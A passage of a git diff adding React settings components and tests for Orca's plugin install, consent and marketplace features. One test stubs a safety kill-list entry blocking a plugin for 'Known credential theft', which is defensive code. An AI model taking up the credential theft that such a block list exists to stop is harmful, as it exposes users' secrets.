+  return commit && commit.length > 10 ? commit.slice(0, 10) : (commit ?? null)
+}
+
+function ProvenanceDetail({
+  label,
+  value,
+  fullValue
+}: {
+  label: string
+  value: string
+  fullValue?: string
+}): React.JSX.Element {
+  return (
+    <div className="grid grid-cols-[5.5rem_minmax(0,1fr)] items-baseline gap-x-2">
+      <span className="text-[11px] text-muted-foreground">{label}</span>
+      <span className="break-all font-mono text-[11px] leading-5" title={fullValue}>
+        {value}
+      </span>
+    </div>
+  )
+}
+
+function provenanceBadge(props: PluginConsentProvenanceProps): React.JSX.Element {
+  if (props.official) {
+    return (
+      <Badge variant="secondary" className="gap-1">
+        <BadgeCheck className="size-3.5" />
+        {translate('auto.components.settings.PluginConsentProvenance.official', 'Official')}
+        {props.publisher ? ` · ${props.publisher}` : ''}
+      </Badge>
+    )
+  }
+  if (props.source?.kind === 'bundled') {
+    return (
+      <Badge variant="outline">
+        {translate('auto.components.settings.PluginConsentProvenance.bundled', 'Bundled with Orca')}
+      </Badge>
+    )
+  }
+  if (props.source?.kind === 'local-path') {
+    return (
+      <Badge variant="outline">
+        {translate('auto.components.settings.PluginConsentProvenance.local', 'Local folder')}
+      </Badge>
+    )
+  }
+  return (
+    <Badge variant="outline">
+      {translate('auto.components.settings.PluginConsentProvenance.community', 'Community')}
+      {props.publisher ? ` · ${props.publisher}` : ''}
+    </Badge>
+  )
+}
+
+export function PluginConsentProvenance(props: PluginConsentProvenanceProps): React.JSX.Element {
+  const { source } = props
+  const pinned = shortCommit(source?.resolvedCommit)
+  return (
+    <div className="flex items-center gap-1.5">
+      {provenanceBadge(props)}
+      {source ? (
+        <Popover>
+          <PopoverTrigger asChild>
+            <Button variant="ghost" size="xs" className="text-muted-foreground">
+              <Info />
+              {translate('auto.components.settings.PluginConsentProvenance.source', 'Source')}
+            </Button>
+          </PopoverTrigger>
+          <PopoverContent align="start" className="w-80 space-y-1.5 p-3">
+            <ProvenanceDetail
+              label={translate(
+                'auto.components.settings.PluginConsentProvenance.sourceLabel',
+                'Source'
+              )}
+              value={source.reference}
+              fullValue={source.reference}
+            />
+            <ProvenanceDetail
+              label={translate(
+                'auto.components.settings.PluginConsentProvenance.commit',
+                'Pinned commit'
+              )}
+              value={
+                pinned ??
+                translate(
+                  'auto.components.settings.PluginConsentProvenance.localCommit',
+                  'Local folder — no commit'
+                )
+              }
+              fullValue={source.resolvedCommit ?? undefined}
+            />
+            {source.marketplace ? (
+              <ProvenanceDetail
+                label={translate(
+                  'auto.components.settings.PluginConsentProvenance.indexCommit',
+                  'Index commit'
+                )}
+                value={shortCommit(source.marketplace.resolvedCommit) ?? ''}
+                fullValue={source.marketplace.resolvedCommit}
+              />
+            ) : null}
+          </PopoverContent>
+        </Popover>
+      ) : null}
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginDevelopmentSection.tsx b/src/renderer/src/components/settings/PluginDevelopmentSection.tsx
new file mode 100644
index 000000000..0c2385cae
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginDevelopmentSection.tsx
@@ -0,0 +1,129 @@
+import { useState } from 'react'
+import { ChevronRight, Loader2 } from 'lucide-react'
+import { translate } from '@/i18n/i18n'
+import { Button } from '../ui/button'
+import { Input } from '../ui/input'
+import { Label } from '../ui/label'
+
+type PluginDevelopmentSectionProps = {
+  paths: readonly string[]
+  busy: boolean
+  onChange: (paths: string[]) => Promise<void>
+}
+
+function saveErrorMessage(cause: unknown): string {
+  console.warn('[plugins] development path update failed:', cause)
+  return translate(
+    'auto.components.settings.PluginDevelopmentSection.saveFailed',
+    'Could not save development plugin paths.'
+  )
+}
+
+export function PluginDevelopmentSection({
+  paths,
+  busy,
+  onChange
+}: PluginDevelopmentSectionProps): React.JSX.Element {
+  const [pathInput, setPathInput] = useState('')
+  const [error, setError] = useState<string | null>(null)
+
+  const addPath = async (): Promise<void> => {
+    const path = pathInput.trim()
+    if (!path) {
+      setError(
+        translate(
+          'auto.components.settings.PluginDevelopmentSection.pathRequired',
+          'Enter a plugin folder path.'
+        )
+      )
+      return
+    }
+    setError(null)
+    try {
+      await onChange([...paths, path])
+      setPathInput('')
+    } catch (cause) {
+      setError(saveErrorMessage(cause))
+    }
+  }
+
+  const removePath = async (index: number): Promise<void> => {
+    setError(null)
+    try {
+      await onChange(paths.filter((_, pathIndex) => pathIndex !== index))
+    } catch (cause) {
+      setError(saveErrorMessage(cause))
+    }
+  }
+
+  return (
+    <details className="group">
+      <summary className="flex w-fit cursor-pointer list-none items-center gap-1.5 rounded-md py-1.5 pr-2 text-[13px] font-medium outline-none focus-visible:ring-[3px] focus-visible:ring-ring/50 [&::-webkit-details-marker]:hidden">
+        <ChevronRight className="size-3.5 text-muted-foreground transition-transform group-open:rotate-90" />
+        {translate('auto.components.settings.PluginDevelopmentSection.title', 'Development')}
+      </summary>
+      <div className="space-y-3 pb-1 pl-5 pt-1">
+        <p className="max-w-2xl text-xs leading-5 text-muted-foreground">
+          {translate(
+            'auto.components.settings.PluginDevelopmentSection.help',
+            'Load plugins directly from folders on this computer while you develop them. Dev plugins still require permission review. Workers run on this desktop host; SSH workspace actions route through Orca, so paths here are desktop paths.'
+          )}
+        </p>
+        {paths.map((path, index) => (
+          <div key={`${path}-${index}`} className="flex min-w-0 items-center gap-2">
+            <span
+              className="min-w-0 flex-1 truncate rounded-md border border-border bg-muted/30 px-2.5 py-1.5 font-mono text-xs"
+              title={path}
+            >
+              {path}
+            </span>
+            <Button
+              variant="ghost"
+              size="xs"
+              disabled={busy}
+              onClick={() => void removePath(index)}
+            >
+              {translate('auto.components.settings.PluginDevelopmentSection.remove', 'Remove')}
+            </Button>
+          </div>
+        ))}
+        <form
+          className="flex min-w-0 items-center gap-2"
+          onSubmit={(event) => {
+            event.preventDefault()
+            void addPath()
+          }}
+        >
+          <Label htmlFor="plugin-development-path" className="sr-only">
+            {translate(
+              'auto.components.settings.PluginDevelopmentSection.pathLabel',
+              'Development plugin folder path'
+            )}
+          </Label>
+          <Input
+            id="plugin-development-path"
+            value={pathInput}
+            onChange={(event) => setPathInput(event.target.value)}
+            className="h-8 min-w-0 font-mono text-xs"
+            placeholder={translate(
+              'auto.components.settings.PluginDevelopmentSection.placeholder',
+              '/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin'
+            )}
+            spellCheck={false}
+            aria-invalid={Boolean(error)}
+            aria-describedby={error ? 'plugin-development-path-error' : undefined}
+          />
+          <Button type="submit" variant="outline" size="sm" disabled={busy}>
+            {busy ? <Loader2 className="animate-spin" /> : null}
+            {translate('auto.components.settings.PluginDevelopmentSection.add', 'Add path')}
+          </Button>
+        </form>
+        {error ? (
+          <p id="plugin-development-path-error" className="text-xs text-destructive">
+            {error}
+          </p>
+        ) : null}
+      </div>
+    </details>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginInstallDialog.test.tsx b/src/renderer/src/components/settings/PluginInstallDialog.test.tsx
new file mode 100644
index 000000000..a9cb71e6b
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginInstallDialog.test.tsx
@@ -0,0 +1,85 @@
+// @vitest-environment happy-dom
+
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { PluginHostInstallSource } from '../../../../preload/api-types'
+import { PluginInstallDialog } from './PluginInstallDialog'
+
+afterEach(() => {
+  document.body.innerHTML = ''
+})
+
+async function renderDialog(
+  onInstall: (source: PluginHostInstallSource) => Promise<void>
+): Promise<Root> {
+  const container = document.createElement('div')
+  document.body.appendChild(container)
+  const root = createRoot(container)
+  await act(async () => {
+    root.render(<PluginInstallDialog open onOpenChange={vi.fn()} onInstall={onInstall} />)
+  })
+  return root
+}
+
+async function enter(input: HTMLInputElement, value: string): Promise<void> {
+  await act(async () => {
+    Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value')?.set?.call(input, value)
+    input.dispatchEvent(new Event('input', { bubbles: true }))
+  })
+}
+
+function button(label: string): HTMLButtonElement {
+  const match = Array.from(document.querySelectorAll('button')).find(
+    (candidate) => candidate.textContent?.trim() === label
+  )
+  if (!match) {
+    throw new Error(`missing ${label} button`)
+  }
+  return match
+}
+
+describe('PluginInstallDialog', () => {
+  it('preserves local input and stays out of consent when installation fails', async () => {
+    const onInstall = vi
+      .fn<(source: PluginHostInstallSource) => Promise<void>>()
+      .mockRejectedValue(new Error('Integrity check failed'))
+    const root = await renderDialog(onInstall)
+    const input = document.querySelector<HTMLInputElement>('#plugin-local-path')
+    if (!input) {
+      throw new Error('missing local path input')
+    }
+    await enter(input, 'C:\\plugins\\demo')
+
+    await act(async () => {
+      button('Install').dispatchEvent(new MouseEvent('click', { bubbles: true }))
+    })
+
+    expect(onInstall).toHaveBeenCalledWith({ kind: 'local-path', path: 'C:\\plugins\\demo' })
+    expect(input.value).toBe('C:\\plugins\\demo')
+    expect(document.body.textContent).toContain('Plugin installation failed.')
+    expect(document.body.textContent).not.toContain('Review permissions')
+    act(() => root.unmount())
+  })
+
+  it('turns invalid-manifest failures into actionable localized guidance', async () => {
+    const onInstall = vi
+      .fn<(source: PluginHostInstallSource) => Promise<void>>()
+      .mockRejectedValue(new Error('invalid manifest: contributes.panels.0.entry is required'))
+    const root = await renderDialog(onInstall)
+    const input = document.querySelector<HTMLInputElement>('#plugin-local-path')
+    if (!input) {
+      throw new Error('missing local path input')
+    }
+    await enter(input, '/plugins/demo')
+
+    await act(async () => {
+      button('Install').dispatchEvent(new MouseEvent('click', { bubbles: true }))
+    })
+
+    expect(document.body.textContent).toContain(
+      'orca-plugin.json is invalid. Ask the plugin author to fix the manifest.'
+    )
+    act(() => root.unmount())
+  })
+})
diff --git a/src/renderer/src/components/settings/PluginInstallDialog.tsx b/src/renderer/src/components/settings/PluginInstallDialog.tsx
new file mode 100644
index 000000000..1b13bea59
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginInstallDialog.tsx
@@ -0,0 +1,206 @@
+import { useState } from 'react'
+import { Loader2 } from 'lucide-react'
+import type { PluginHostInstallSource } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import { Button } from '../ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '../ui/dialog'
+import { Input } from '../ui/input'
+import { Label } from '../ui/label'
+import { Tabs, TabsContent, TabsList, TabsTrigger } from '../ui/tabs'
+import { parsePluginInstallSource } from './plugin-install-source'
+import { pluginInstallErrorMessage } from './plugin-error-presentation'
+
+type PluginInstallDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onInstall: (source: PluginHostInstallSource) => Promise<void>
+}
+
+function installValidationMessage(reason: string): string {
+  switch (reason) {
+    case 'missing-local-path':
+      return translate(
+        'auto.components.settings.PluginInstallDialog.localRequired',
+        'Enter the plugin folder path.'
+      )
+    case 'missing-git-url':
+      return translate(
+        'auto.components.settings.PluginInstallDialog.gitUrlRequired',
+        'Enter a repository URL.'
+      )
+    case 'invalid-git-url':
+      return translate(
+        'auto.components.settings.PluginInstallDialog.gitUrlInvalid',
+        'Use an HTTPS or SSH Git URL. Executable Git helper protocols are not allowed.'
+      )
+    default:
+      return translate(
+        'auto.components.settings.PluginInstallDialog.gitRefRequired',
+        'Add an explicit #ref (tag or commit) so the install is pinned — for example #v0.1.0.'
+      )
+  }
+}
+
+export function PluginInstallDialog({
+  open,
+  onOpenChange,
+  onInstall
+}: PluginInstallDialogProps): React.JSX.Element {
+  const [kind, setKind] = useState<'local-path' | 'git'>('local-path')
+  const [localPath, setLocalPath] = useState('')
+  const [gitUrl, setGitUrl] = useState('')
+  const [error, setError] = useState<string | null>(null)
+  const [installing, setInstalling] = useState(false)
+
+  const submit = async (): Promise<void> => {
+    const parsed = parsePluginInstallSource(kind, kind === 'git' ? gitUrl : localPath)
+    if (!parsed.ok) {
+      setError(installValidationMessage(parsed.reason))
+      return
+    }
+    setError(null)
+    setInstalling(true)
+    try {
+      await onInstall(parsed.source)
+    } catch (cause) {
+      console.warn('[plugins] installation failed:', cause)
+      setError(pluginInstallErrorMessage(cause))
+    } finally {
+      setInstalling(false)
+    }
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={(nextOpen) => !installing && onOpenChange(nextOpen)}>
+      <DialogContent className="max-h-[calc(100vh-3rem)] overflow-y-auto scrollbar-sleek sm:max-w-lg">
+        <DialogHeader>
+          <DialogTitle>
+            {translate('auto.components.settings.PluginInstallDialog.title', 'Install plugin')}
+          </DialogTitle>
+          <DialogDescription>
+            {translate(
+              'auto.components.settings.PluginInstallDialog.description',
+              'Installing copies the plugin into Orca and shows its permissions for review. No plugin code runs until you enable it.'
+            )}
+          </DialogDescription>
+        </DialogHeader>
+        <form
+          className="contents"
+          onSubmit={(event) => {
+            event.preventDefault()
+            void submit()
+          }}
+        >
+          <Tabs
+            value={kind}
+            onValueChange={(value) => {
+              setKind(value as 'local-path' | 'git')
+              setError(null)
+            }}
+          >
+            <TabsList
+              aria-label={translate(
+                'auto.components.settings.PluginInstallDialog.source',
+                'Install source'
+              )}
+            >
+              <TabsTrigger value="local-path">
+                {translate('auto.components.settings.PluginInstallDialog.localTab', 'Local folder')}
+              </TabsTrigger>
+              <TabsTrigger value="git">
+                {translate('auto.components.settings.PluginInstallDialog.gitTab', 'Git URL')}
+              </TabsTrigger>
+            </TabsList>
+            <TabsContent value="local-path" className="space-y-2 pt-2">
+              <Label htmlFor="plugin-local-path">
+                {translate(
+                  'auto.components.settings.PluginInstallDialog.localLabel',
+                  'Plugin folder path'
+                )}
+              </Label>
+              <Input
+                id="plugin-local-path"
+                className="font-mono text-xs"
+                value={localPath}
+                onChange={(event) => setLocalPath(event.target.value)}
+                placeholder={translate(
+                  'auto.components.settings.PluginInstallDialog.localPlaceholder',
+                  '/Users/you/plugins/my-plugin or C:\\Users\\you\\plugins\\my-plugin'
+                )}
+                spellCheck={false}
+                aria-invalid={kind === 'local-path' && Boolean(error)}
+                aria-describedby={error ? 'plugin-install-error' : undefined}
+                autoFocus
+              />
+              <p className="text-xs leading-5 text-muted-foreground">
+                {translate(
+                  'auto.components.settings.PluginInstallDialog.localHelp',
+                  'Full path to a folder containing orca-plugin.json on this computer. The path is used exactly as entered.'
+                )}
+              </p>
+            </TabsContent>
+            <TabsContent value="git" className="space-y-2 pt-2">
+              <Label htmlFor="plugin-git-url">
+                {translate(
+                  'auto.components.settings.PluginInstallDialog.gitLabel',
+                  'Repository URL with #ref'
+                )}
+              </Label>
+              <Input
+                id="plugin-git-url"
+                className="font-mono text-xs"
+                value={gitUrl}
+                onChange={(event) => setGitUrl(event.target.value)}
+                placeholder={translate(
+                  'auto.components.settings.PluginInstallDialog.gitPlaceholder',
+                  'https://git.example/acme/orca-notes#v0.1.0'
+                )}
+                spellCheck={false}
+                aria-invalid={kind === 'git' && Boolean(error)}
+                aria-describedby={error ? 'plugin-install-error' : undefined}
+              />
+              <p className="text-xs leading-5 text-muted-foreground">
+                {translate(
+                  'auto.components.settings.PluginInstallDialog.gitHelp',
+                  'Append an explicit #ref — a tag or commit — so the install is pinned. Works with GitHub, GitLab, and any git host.'
+                )}
+              </p>
+            </TabsContent>
+          </Tabs>
+          {error ? (
+            <p id="plugin-install-error" className="text-xs text-destructive">
+              {error}
+            </p>
+          ) : null}
+          <DialogFooter>
+            <Button
+              type="button"
+              variant="ghost"
+              size="sm"
+              disabled={installing}
+              onClick={() => onOpenChange(false)}
+            >
+              {translate('auto.components.settings.PluginInstallDialog.cancel', 'Cancel')}
+            </Button>
+            <Button type="submit" size="sm" className="w-31" disabled={installing}>
+              {installing ? <Loader2 className="animate-spin" /> : null}
+              {installing
+                ? translate(
+                    'auto.components.settings.PluginInstallDialog.installing',
+                    'Installing…'
+                  )
+                : translate('auto.components.settings.PluginInstallDialog.install', 'Install')}
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginKeybindingConsentPreview.test.ts b/src/renderer/src/components/settings/PluginKeybindingConsentPreview.test.ts
new file mode 100644
index 000000000..86365a57f
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginKeybindingConsentPreview.test.ts
@@ -0,0 +1,11 @@
+import { describe, expect, it } from 'vitest'
+import { shadowedKeybindingTitles } from './PluginKeybindingConsentPreview'
+
+describe('plugin keybinding consent preview', () => {
+  it('names built-in shortcuts shadowed by plugin chords and user overrides', () => {
+    expect(shadowedKeybindingTitles('Mod+P', 'darwin')).toContain('Go to File')
+    expect(
+      shadowedKeybindingTitles('Mod+Alt+T', 'linux', { 'view.tasks': ['Mod+Alt+T'] })
+    ).toContain('Open Tasks')
+  })
+})
diff --git a/src/renderer/src/components/settings/PluginKeybindingConsentPreview.tsx b/src/renderer/src/components/settings/PluginKeybindingConsentPreview.tsx
new file mode 100644
index 000000000..2d3409502
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginKeybindingConsentPreview.tsx
@@ -0,0 +1,99 @@
+import { AlertTriangle } from 'lucide-react'
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import {
+  findKeybindingActionsForBinding,
+  formatKeybindingList,
+  getKeybindingDefinition,
+  type KeybindingOverrides
+} from '../../../../shared/keybindings'
+import { translate } from '@/i18n/i18n'
+import { useAppStore } from '@/store'
+
+type CommandPreview = PluginHostListEntry['commands'][number]
+
+function shortcutPlatform(): NodeJS.Platform {
+  if (navigator.userAgent.includes('Mac')) {
+    return 'darwin'
+  }
+  return navigator.userAgent.includes('Windows') ? 'win32' : 'linux'
+}
+
+export function shadowedKeybindingTitles(
+  binding: string,
+  platform: NodeJS.Platform,
+  overrides?: KeybindingOverrides
+): string[] {
+  return findKeybindingActionsForBinding(binding, platform, overrides).map(
+    (actionId) => getKeybindingDefinition(actionId)?.title ?? actionId
+  )
+}
+
+export function PluginKeybindingConsentPreview({
+  commands
+}: {
+  commands: readonly CommandPreview[]
+}): React.JSX.Element | null {
+  const overrides = useAppStore((state) => state.keybindings)
+  const platform = shortcutPlatform()
+  const bindings = commands.flatMap((command) =>
+    command.keybindings.map((keybinding) => ({ command, keybinding }))
+  )
+  if (bindings.length === 0) {
+    return null
+  }
+
+  return (
+    <section className="space-y-3" aria-labelledby="plugin-keybinding-consent-heading">
+      <h3
+        id="plugin-keybinding-consent-heading"
+        className="text-[11px] font-semibold uppercase tracking-[0.05em] text-muted-foreground"
+      >
+        {translate(
+          'auto.components.settings.PluginKeybindingConsentPreview.heading',
+          'Keyboard shortcuts'
+        )}
+      </h3>
+      <div className="space-y-2">
+        {bindings.map(({ command, keybinding }) => {
+          const shadowed = shadowedKeybindingTitles(keybinding.key, platform, overrides)
+          return (
+            <div
+              key={`${command.id}:${keybinding.key}`}
+              className="space-y-1 rounded-md border border-border p-3"
+            >
+              <div className="flex flex-wrap items-center justify-between gap-2">
+                <span className="text-sm font-medium">{command.title}</span>
+                <kbd className="rounded border border-border bg-muted px-2 py-0.5 font-mono text-xs text-foreground">
+                  {formatKeybindingList([keybinding.key], platform)}
+                </kbd>
+              </div>
+              <p className="text-xs text-muted-foreground">
+                {keybinding.when === 'worktree'
+                  ? translate(
+                      'auto.components.settings.PluginKeybindingConsentPreview.worktree',
+                      'Runs only while a workspace is active.'
+                    )
+                  : translate(
+                      'auto.components.settings.PluginKeybindingConsentPreview.global',
+                      'Runs in the app without requiring an active workspace.'
+                    )}
+              </p>
+              {shadowed.length > 0 ? (
+                <p className="flex items-start gap-1.5 text-xs leading-5 text-foreground">
+                  <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+                  <span>
+                    {translate(
+                      'auto.components.settings.PluginKeybindingConsentPreview.shadows',
+                      'Replaces: {{value0}}',
+                      { value0: shadowed.join(', ') }
+                    )}
+                  </span>
+                </p>
+              ) : null}
+            </div>
+          )
+        })}
+      </div>
+    </section>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginMarketplaceBrowser.test.tsx b/src/renderer/src/components/settings/PluginMarketplaceBrowser.test.tsx
new file mode 100644
index 000000000..917c21b24
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginMarketplaceBrowser.test.tsx
@@ -0,0 +1,307 @@
+// @vitest-environment happy-dom
+
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type {
+  PluginHostListEntry,
+  PluginMarketplaceHostInstallPreview,
+  PluginMarketplaceHostListing,
+  PluginMarketplaceHostSourceState
+} from '../../../../preload/api-types'
+import { PluginMarketplaceBrowser } from './PluginMarketplaceBrowser'
+
+function deferred<T>(): {
+  promise: Promise<T>
+  resolve: (value: T) => void
+} {
+  let resolve!: (value: T) => void
+  return { promise: new Promise<T>((done) => (resolve = done)), resolve }
+}
+
+const SOURCE_ID = 'a'.repeat(32)
+const MARKETPLACE_COMMIT = 'b'.repeat(40)
+const PLUGIN_COMMIT = 'c'.repeat(40)
+
+const source: PluginMarketplaceHostSourceState = {
+  id: SOURCE_ID,
+  source: { kind: 'git', url: 'https://example.com/marketplace.git', ref: 'main' },
+  addedAt: 1,
+  marketplace: {
+    name: 'Community',
+    owner: 'example',
+    resolvedCommit: MARKETPLACE_COMMIT,
+    fetchedAt: 2
+  },
+  stale: false,
+  official: false
+}
+
+const listing: PluginMarketplaceHostListing = {
+  marketplaceSourceId: SOURCE_ID,
+  marketplaceName: 'Community',
+  marketplaceOwner: 'example',
+  marketplaceCommit: MARKETPLACE_COMMIT,
+  pluginKey: 'example.notes',
+  source: { kind: 'git', url: 'https://example.com/notes.git', ref: 'v1' },
+  description: 'Notes for active worktrees.',
+  categories: ['productivity'],
+  official: false,
+  bundled: false
+}
+
+const preview: PluginMarketplaceHostInstallPreview = {
+  ...listing,
+  resolvedCommit: PLUGIN_COMMIT,
+  contentHash: 'sha256-content',
+  consentFingerprint: 'sha256-consent',
+  manifest: {
+    manifestVersion: 1,
+    id: 'notes',
+    publisher: 'example',
+    name: 'Worktree Notes',
+    version: '1.0.0',
+    description: 'Notes for active worktrees.',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    main: 'dist/worker.js',
+    contributes: {
+      panels: [],
+      commands: [],
+      events: [],
+      languagePacks: [],
+      keybindings: [],
+      vmRecipes: [],
+      agents: []
+    },
+    capabilities: [{ kind: 'workspace:read' }]
+  }
+}
+
+function installedPlugin(contentHash = 'different-content'): PluginHostListEntry {
+  return {
+    pluginKey: listing.pluginKey,
+    consentFingerprint: 'sha256-consent',
+    name: 'Worktree Notes',
+    version: '1.0.0',
+    publisher: 'example',
+    status: 'idle',
+    needsReconsent: false,
+    isDev: false,
+    official: false,
+    bundled: false,
+    capabilities: [],
+    panels: [],
+    commands: [],
+    hasWorker: true,
+    restarts: 0,
+    source: {
+      kind: 'marketplace',
+      reference: listing.source.url,
+      resolvedCommit: PLUGIN_COMMIT,
+      contentHash,
+      marketplace: {
+        reference: source.source.url,
+        resolvedCommit: MARKETPLACE_COMMIT
+      }
+    }
+  }
+}
+
+function installApi(overrides: Record<string, unknown> = {}): void {
+  Object.defineProperty(window, 'api', {
+    configurable: true,
+    value: {
+      plugins: {
+        listMarketplaces: vi.fn().mockResolvedValue([source]),
+        listMarketplacePlugins: vi.fn().mockResolvedValue([listing]),
+        refreshMarketplaces: vi.fn().mockResolvedValue([source]),
+        previewMarketplacePlugin: vi.fn().mockResolvedValue(preview),
+        previewMarketplaceUpdate: vi.fn().mockResolvedValue(preview),
+        installMarketplacePlugin: vi.fn().mockResolvedValue({
+          ok: true,
+          pluginKey: listing.pluginKey,
+          version: preview.manifest.version,
+          contentHash: preview.contentHash,
+          consentFingerprint: preview.consentFingerprint,
+          resolvedCommit: preview.resolvedCommit
+        }),
+        addMarketplace: vi.fn(),
+        removeMarketplace: vi.fn(),
+        ...overrides
+      }
+    }
+  })
+}
+
+async function renderBrowser(
+  installedPlugins: PluginHostListEntry[] = [],
+  onInstalled = vi.fn().mockResolvedValue(undefined)
+): Promise<{ root: Root; container: HTMLDivElement; onInstalled: typeof onInstalled }> {
+  const container = document.createElement('div')
+  document.body.appendChild(container)
+  const root = createRoot(container)
+  await act(async () => {
+    root.render(
+      <PluginMarketplaceBrowser
+        installedPlugins={installedPlugins}
+        onInstalled={onInstalled}
+        renderInstalledContent={() => <div>Installed content</div>}
+      />
+    )
+  })
+  return { root, container, onInstalled }
+}
+
+function button(label: string): HTMLButtonElement {
+  const match = Array.from(document.querySelectorAll('button')).find(
+    (candidate) => candidate.textContent?.trim() === label
+  )
+  if (!match) {
+    throw new Error(`missing ${label} button`)
+  }
+  return match
+}
+
+beforeEach(() => installApi())
+
+afterEach(() => {
+  document.body.innerHTML = ''
+  vi.restoreAllMocks()
+})
+
+describe('PluginMarketplaceBrowser', () => {
+  it('reviews exact bytes and hands a successful install to the consent flow', async () => {
+    const { root, container, onInstalled } = await renderBrowser()
+
+    expect(container.textContent).toContain('Notes for active worktrees.')
+    await act(async () => button('Install').click())
+
+    expect(window.api.plugins.previewMarketplacePlugin).toHaveBeenCalledWith({
+      marketplaceSourceId: SOURCE_ID,
+      pluginKey: listing.pluginKey
+    })
+    // Why: provenance leads with a short badge; the source URL + full commit
+    // are tucked behind an on-demand "Source" details popover.
+    expect(document.body.textContent).toContain('Community')
+    expect(
+      Array.from(document.querySelectorAll('button')).some(
+        (candidate) => candidate.textContent?.trim() === 'Source'
+      )
+    ).toBe(true)
+    expect(document.body.textContent).toContain(
+      'Read the name, branch, and terminal list of your focused worktree'
+    )
+    expect(document.body.textContent).toContain('full access to your files, network')
+    expect(document.querySelector('[role="dialog"]')?.classList).toContain('plugin-security-chrome')
+
+    await act(async () => button('Install plugin').click())
+
+    expect(window.api.plugins.installMarketplacePlugin).toHaveBeenCalledWith({
+      marketplaceSourceId: SOURCE_ID,
+      marketplaceCommit: MARKETPLACE_COMMIT,
+      pluginKey: listing.pluginKey,
+      resolvedCommit: PLUGIN_COMMIT
+    })
+    expect(onInstalled).toHaveBeenCalledWith(listing.pluginKey)
+    act(() => root.unmount())
+  })
+
+  it('disables a listing revoked by the safety list', async () => {
+    installApi({
+      listMarketplacePlugins: vi
+        .fn()
+        .mockResolvedValue([
+          { ...listing, blockedByKillList: { reason: 'Known credential theft' } }
+        ])
+    })
+    const { root, container } = await renderBrowser()
+    const blocked = button('Blocked')
+
+    expect(container.textContent).toContain('Known credential theft')
+    expect(blocked.disabled).toBe(true)
+    expect(window.api.plugins.previewMarketplacePlugin).not.toHaveBeenCalled()
+    act(() => root.unmount())
+  })
+
+  it('detects when an update preview matches the installed content hash', async () => {
+    const { root } = await renderBrowser([installedPlugin(preview.contentHash)])
+
+    await act(async () => button('Check for update').click())
+
+    expect(window.api.plugins.previewMarketplaceUpdate).toHaveBeenCalledWith({
+      pluginKey: listing.pluginKey
+    })
+    expect(document.body.textContent).toContain('This exact plugin content is already installed.')
+    // Why: an up-to-date preview offers no install action at all — only Close.
+    expect(
+      Array.from(document.querySelectorAll('button')).some(
+        (candidate) => candidate.textContent?.trim() === 'Update plugin'
+      )
+    ).toBe(false)
+    expect(button('Close')).toBeTruthy()
+    act(() => root.unmount())
+  })
+
+  it('uses one catalog surface for available and installed plugins', async () => {
+    const { root, container } = await renderBrowser([installedPlugin()])
+    const installedFilter = Array.from(container.querySelectorAll('button')).find(
+      (candidate) =>
+        candidate.getAttribute('role') === 'tab' && candidate.textContent?.startsWith('Installed')
+    )
+    if (!installedFilter) {
+      throw new Error('missing installed filter')
+    }
+
+    await act(async () => {
+      installedFilter.dispatchEvent(
+        new MouseEvent('mousedown', { bubbles: true, button: 0, ctrlKey: false })
+      )
+    })
+
+    expect(container.textContent).toContain('Installed content')
+    expect(container.textContent).not.toContain('Notes for active worktrees.')
+    act(() => root.unmount())
+  })
+
+  it('does not let an older preview response replace the latest selection', async () => {
+    const first = deferred<PluginMarketplaceHostInstallPreview>()
+    const second = deferred<PluginMarketplaceHostInstallPreview>()
+    const otherListing: PluginMarketplaceHostListing = {
+      ...listing,
+      pluginKey: 'example.tasks',
+      description: 'Tasks for active worktrees.'
+    }
+    const previewRequest = vi
+      .fn()
+      .mockReturnValueOnce(first.promise)
+      .mockReturnValueOnce(second.promise)
+    installApi({
+      listMarketplacePlugins: vi.fn().mockResolvedValue([listing, otherListing]),
+      previewMarketplacePlugin: previewRequest
+    })
+    const { root } = await renderBrowser()
+
+    await act(async () => {
+      const reviews = Array.from(document.querySelectorAll('button')).filter(
+        (candidate) => candidate.textContent?.trim() === 'Install'
+      )
+      reviews[0]?.click()
+      reviews[1]?.click()
+    })
+    await act(async () => {
+      second.resolve({
+        ...preview,
+        ...otherListing,
+        manifest: { ...preview.manifest, id: 'tasks', name: 'Worktree Tasks' }
+      })
+    })
+    expect(document.body.textContent).toContain('Worktree Tasks')
+
+    await act(async () => first.resolve(preview))
+
+    expect(document.body.textContent).toContain('Worktree Tasks')
+    expect(document.body.textContent).not.toContain('Worktree Notes')
+    act(() => root.unmount())
+  })
+})
diff --git a/src/renderer/src/components/settings/PluginMarketplaceBrowser.tsx b/src/renderer/src/components/settings/PluginMarketplaceBrowser.tsx
new file mode 100644
index 000000000..f7c94c52d
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginMarketplaceBrowser.tsx
@@ -0,0 +1,378 @@
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import { Blocks, Loader2, RefreshCw, SearchX, Settings2, Store } from 'lucide-react'
+import type {
+  PluginHostListEntry,
+  PluginMarketplaceHostInstallPreview,
+  PluginMarketplaceHostListing,
+  PluginMarketplaceHostSourceState
+} from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
